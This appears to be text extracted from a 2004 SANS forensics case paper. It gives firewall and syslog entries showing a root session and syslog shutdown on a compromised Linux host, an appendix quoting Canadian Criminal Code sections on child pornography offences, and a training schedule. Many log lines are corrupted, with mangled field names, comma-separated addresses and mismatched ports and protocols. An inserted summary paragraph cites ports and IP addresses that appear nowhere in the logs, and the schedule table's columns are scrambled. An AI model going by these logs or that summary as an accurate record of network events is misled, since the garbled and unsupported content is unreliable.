Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pri=6 msg="FILT ER: 96 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35052 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:07 192.168.1.1 id=firewall time="2003-06-29 15:06:07" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35053 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:08 192.168.1.1 id=firewall time="2003-06-29 15:06:08" fw="GNAT-Box" pri=6 msg="FILT ER: 98 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:06:08 192.168.1.1 id=firewall time="2003-06-29 15:06:08" fw="GNAT-Box" pri=4 flt_type=
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 ssrcport=35053 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:08 192.168.1.1 id=firewall time="2003-06-29 15:06:08" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 ssrcport=35053 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:06:08 192.168.1.1 id=firewall time="2003-06-29 15:06:08" fw="GNAT-Box" pri=6 flt_type=
OBF flt_action=pass msg="Received (3)" rule=3 proto=53/udp src=192.168.2.15 srsrcport=1031 dst=142.165.5.2 dstport=53 interface=sis2
Jun 29 15:07:34 192.168.1.1 id=firewall time="2003-06-29 15:07:34" fw="GNAT-Box" pri=6 flt_type=
OBF flt_action=pass msg="Received (3)" rule=3 proto=53/udp src=192.168.2.15 srsrcport=1031 dst=142.165.5.2 dstport=53 interface=sis2
Jun 29 15:07:34 192.168.1.1 id=firewall time="2003-06-29 15:07:34" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srsrcport=1058 dst=65,113,119,141 dstport=80 interface=sis2 flags=0x2
Jun 29 15:07:34 192.168.1.1 id=firewall time="2003-06-29 15:07:34" fw="GNAT-Box" pri=6 flt_type=
RAF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srsrcport=1059 dst=65,113,119,141 dstport=80 interface=sis2 flags=0x2
Jun 29 15:08:29 192.168.2.15 su[pam_unix] [19508]: session opened for user root by (uid=0)
Jun 29 15:09:38 192.168.1.1 id=firewall time="2003-06-29 15:09:38" fw="GNAT-Box" pri=6 flt_type=
RAR flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srsrcport=1031 dst=142.165.5.2 dstport=53 interface=sis2
Jun 29 15:09:38 192.168.1.1 id=firewall time="2003-06-29 15:09:38" fw="GNAT-Box" pri=6 flt_type=
RAR flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srsrcport=1031 dst=142.165.5.2 dstport=53 interface=sis2
Jun 29 15:09:38 192.168.1.1 id=firewall time="2003-06-29 15:09:38" fw="GNAT-Box" pri=6 flt_type=
RAR flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srsrcport=1059 dst=65,113,119,141 dstport=80 interface=sis2 flags=0x2
Jun 29 15:09:38 192.168.1.1 id=firewall time="2003-06-29 15:09:38" fw="GNAT-Box" pri=6 flt_type=
RAR flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srsrcport=1058 dst=65,113,119,141 dstport=80 interface=sis2 flags=0x2
Jun 29 15:10:13 192.168.1.1 id=firewall time="2003-06-29 15:10:13" fw="GNAT-Box" pri=6 flt_type=
RAR flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srsrcport=1059 dst=65,113,119,141 dstport=80 interface=sis2 flags=0x2
Jun 29 15:10:13 192.168.1.1 id=firewall time="2003-06-29 15:10:13" fw="GNAT-Box" pri=6 flt_type=
RAR flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srsrcport=1058 dst=65,113,119,141 dstport=80 interface=sis2 flags=0x2
Jun 29 15:10:13 192.168.1.1 id=firewall time="2003-06-29 15:10:13" fw="GNAT-Box" pri=6 flt_type=
RAR flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srsrcport=1059 dst=65,113,119,141 dstport=80 interface=sis2 flags=0x2
Jun 29 15:10:13 192.168.1.1 id=firewall time="2003-06-29 15:10:13" fw="GNAT-Box" pri=6 flt_type=
RAR flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srsrcport=1059 dst=65,113,119,141 dstport=80 interface=sis2 flags=0x2
RAF firewalld detected incoming traffic. The following events were recorded:

- Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 101 matches for 24: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
- Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 102 matches for 24: Deny warning ANY ALL from ANY_IP to ANY_IP" type=mgmt
- Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 103 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
- Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 104 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
- Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 105 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
- Jun 29 15:16:02 192.168.1.1 id=firewall time="2003-06-29 15:16:02" fw="GNAT-Box" pri=6 msg="FILT ER: 106 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

The firewall logs show a variety of incoming traffic, including connections to ports 3389, 443, and 3389/tcp. The firewall blocked some traffic, such as connections to port 3389/tcp from 80.6.101.56 to 216.23.200.152. The firewall also allowed some connections, such as connections to port 443/tcp from 129.233.16.134 to 216.23.200.152.

The firewall's configuration includes rules that allow or deny traffic based on source and destination IP addresses and ports. The firewall logs provide detailed information about the traffic that was allowed or denied, including the rule number, protocol, source and destination IP addresses, and port numbers.

The firewall's response to incoming traffic is recorded in the logs, including whether the firewall allowed or blocked the traffic. The firewall logs also record the time and date of the events, providing a clear record of the traffic that was allowed or denied.

The firewall's rules can be customized to meet specific security requirements, allowing for fine-grained control over incoming traffic. The firewall logs provide valuable information for assessing the security of a network and identifying potential security vulnerabilities.
EnCase Computer Analysis Report

© SANS Institute 2004, Author retains full rights.
### Logs showing syslog being shutdown on Linux 7.3 system

<table>
<thead>
<tr>
<th>Name</th>
<th>Hash Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unallocated Clusters</td>
<td>0x296</td>
</tr>
</tbody>
</table>

#### Comment: Victim Logs from log Server - Syslog shutdown

Jun 29 15:20:54 192.168.2.15 kernel: request_module[net-pf-14]: waitpid(19602, ...) failed, errno

Jun 29 15:20:57 192.168.2.15 su[104]p[am_unix](19604): session opened for user root by (uid=0)


Jun 29 15:21:13 192.168.2.15 exiting on signal 15
Logs after logging shutdown on Linux 7.3 system

Jun 29 15:20:33 192.168.1.1 id=firewall time="2003-06-29 15:20:33" fw="GNAT-Box" pri=6 flt_type=OBF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srctp=1061 dst=207.66.155.21 dstport=80 interface=sis2 flags=0x2
Jun 29 15:20:33 192.168.1.1 id=firewall time="2003-06-29 15:20:33" fw="GNAT-Box" pri=6 msg="FILT ER: 141 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER: 10 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER: 139 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to ANY_IP" type=mgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER: 137 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER: 139 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER: 139 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER: 139 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt

Comment: Firewall logs from log Server - After Syslog shutdown
ER: 142 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35098 dst=xXx.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=6 msg="FILT ER: 146 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcreqport=35104 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=6 msg="FILT ER: 151 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=msgm
RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcreqport=35104 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=6 msg="FILT ER: 151 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx type=msgm
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcreqport=35105 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcreqport=35105 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcreqport=35106 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcreqport=35106 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcreqport=35107 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcreqport=35108 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcreqport=35109 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcreqport=35108 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcreqport=35109 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Appendix G


**Definition of “child pornography”**

163.1 (1) In this section, "child pornography" means

(a) a photographic, film, video or other visual representation, whether or not it was made by electronic or mechanical means,

(i) that shows a person who is or is depicted as being under the age of eighteen years and is engaged in or is depicted as engaged in explicit sexual activity, or

(ii) the dominant characteristic of which is the depiction, for a sexual purpose, of a sexual organ or the anal region of a person under the age of eighteen years; or

(b) any written material or visual representation that advocates or counsels sexual activity with a person under the age of eighteen years that would be an offence under this Act.

**Making child pornography**

(2) Every person who makes, prints, publishes or possesses for the purpose of publication any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

**Distribution, etc. of child pornography**

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

**Possession of child pornography**

(4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

**Accessing child pornography**

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding
five years; or

(b) an offence punishable on summary conviction.

Interpretation
(4.2) For the purposes of subsection (4.1), a person accesses child pornography who knowingly causes child pornography to be viewed by, or transmitted to, himself or herself.

Defence
(5) It is not a defence to a charge under subsection (2) in respect of a visual representation that the accused believed that a person shown in the representation that is alleged to constitute child pornography was or was depicted as being eighteen years of age or more unless the accused took all reasonable steps to ascertain the age of that person and took all reasonable steps to ensure that, where the person was eighteen years of age or more, the representation did not depict that person as being under the age of eighteen years.

Defences
(6) Where the accused is charged with an offence under subsection (2), (3), (4) or (4.1), the court shall find the accused not guilty if the representation or written material that is alleged to constitute child pornography has artistic merit or an educational, scientific or medical purpose.

Other provisions to apply
(7) Subsections 163(3) to (5) apply, with such modifications as the circumstances require, with respect to an offence under subsection (2), (3), (4) or (4.1).

1993, c. 46, s. 2; 2002, c. 13, s. 5.

Warrant of seizure
164. (1) A judge who is satisfied by information on oath that there are reasonable grounds for believing that

(a) any publication, copies of which are kept for sale or distribution in premises within the jurisdiction of the court, is obscene or a crime comic, within the meaning of section 163, or

(b) any representation or written material, copies of which are kept in premises within the jurisdiction of the court, is child pornography within the meaning of section 163.1,

may issue a warrant authorizing seizure of the copies.

Summons to occupier
(2) Within seven days of the issue of a warrant under subsection (1), the judge shall issue a summons to the occupier of the premises requiring him to appear before the court and show cause why the matter seized should not be forfeited to Her Majesty.

Owner and maker may appear
(3) The owner and the maker of the matter seized under subsection (1), and alleged to be obscene, a crime comic or child pornography, may appear and be represented in the proceedings in order to oppose the making of an order for the forfeiture of the matter.

Order of forfeiture
(4) If the court is satisfied, on a balance of probabilities, that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it may make an order declaring the matter forfeited to Her Majesty in right of the province in which the proceedings take place, for disposal as the Attorney General may direct.
(5) If the court is not satisfied that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it shall order that the matter be restored to the person from whom it was seized forthwith after the time for final appeal has expired.

(6) An appeal lies from an order made under subsection (4) or (5) by any person who appeared in the proceedings

(a) on any ground of appeal that involves a question of law alone,

(b) on any ground of appeal that involves a question of fact alone, or

(c) on any ground of appeal that involves a question of mixed law and fact,

as if it were an appeal against conviction or against a judgment or verdict of acquittal, as the case may be, on a question of law alone under Part XXI and sections 673 to 696 apply with such modifications as the circumstances require.

(7) Where an order has been made under this section by a judge in a province with respect to one or more copies of a publication, representation or written material, no proceedings shall be instituted or continued in that province under section 163 or 163.1 with respect to those or other copies of the same publication, representation or written material without the consent of the Attorney General.

169. Every one who commits an offence under section 163, 165, 167 or 168 is guilty of

(a) an indictable offence and is liable to imprisonment for a term not exceeding two years; or

(b) an offence punishable on summary conviction.

R.S., 1985, c. C-46, s. 169; 1999, c. 5, s. 3.

Appendix H

References


### Upcoming SANS Forensics Training

<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Provider</th>
</tr>
</thead>
<tbody>
<tr>
<td>Instructor-Led Training</td>
<td>Mid-May</td>
<td>Alexandria, VA</td>
<td>May 17, 2020 - May 22, 2020</td>
</tr>
<tr>
<td>Autumn Australia Live Online 2020</td>
<td>, Australia</td>
<td>May 18, 2020 - May 29, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Live Online - FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics</td>
<td>, United Arab Emirates</td>
<td>May 19, 2020 - Jun 06, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - FOR498: Battlefield Forensics &amp; Data Acquisition</td>
<td>,</td>
<td>May 26, 2020 - Jun 05, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - FOR578: Cyber Threat Intelligence</td>
<td>, United Arab Emirates</td>
<td>May 27, 2020 - Jun 26, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jun 1</td>
<td>, IL</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
</tr>
<tr>
<td>SANS Pacific Live Online 2020</td>
<td>, Singapore</td>
<td>Jun 08, 2020 - Jun 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANSFORE 2020</td>
<td>, DC</td>
<td>Jun 13, 2020 - Jun 20, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Live Online - FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics</td>
<td>, United Arab Emirates</td>
<td>Jun 15, 2020 - Jul 04, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - FOR585: Smartphone Forensic Analysis In-Depth</td>
<td>, United Arab Emirates</td>
<td>Jun 15, 2020 - Jun 26, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - FOR500: Windows Forensic Analysis</td>
<td>, United Arab Emirates</td>
<td>Jun 16, 2020 - Jul 04, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - FOR500: Windows Forensic Analysis</td>
<td>,</td>
<td>Jun 22, 2020 - Jul 03, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SANS Asia Pacific Live Online 2020</td>
<td>, Singapore</td>
<td>Jun 22, 2020 - Jun 27, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Cyber Defence Australia Online 2020</td>
<td>, Australia</td>
<td>Jun 22, 2020 - Jul 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS DFIR: Summer Breach 2020</td>
<td>, United Arab Emirates</td>
<td>Jul 06, 2020 - Jul 11, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Live Online - FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics</td>
<td>, United Arab Emirates</td>
<td>Jul 09, 2020 - Aug 17, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - FOR500: Windows Forensic Analysis</td>
<td>, United Arab Emirates</td>
<td>Jul 10, 2020 - Aug 18, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>DFIR Summit &amp; Training 2020</td>
<td>Virtual - US Eastern</td>
<td>Jul 16, 2020 - Jul 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Summer Cases: SANS DFIR 2020</td>
<td>, United Arab Emirates</td>
<td>Jul 20, 2020 - Jul 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Summer Surge</td>
<td>Wave 2</td>
<td>, NC</td>
<td>Jul 27, 2020 - Aug 01, 2020</td>
</tr>
<tr>
<td>Live Online - FOR578: Cyber Threat Intelligence</td>
<td>, United Arab Emirates</td>
<td>Jul 28, 2020 - Aug 27, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>South by Southeast Asia Online 2020</td>
<td>, Singapore</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Special Investigations Week - SANS DFIR 2020</td>
<td>, United Arab Emirates</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 3 ET</td>
<td>, MA</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 3 MT</td>
<td>, CA</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 10 MT</td>
<td>, WA</td>
<td>Aug 10, 2020 - Aug 15, 2020</td>
</tr>
</tbody>
</table>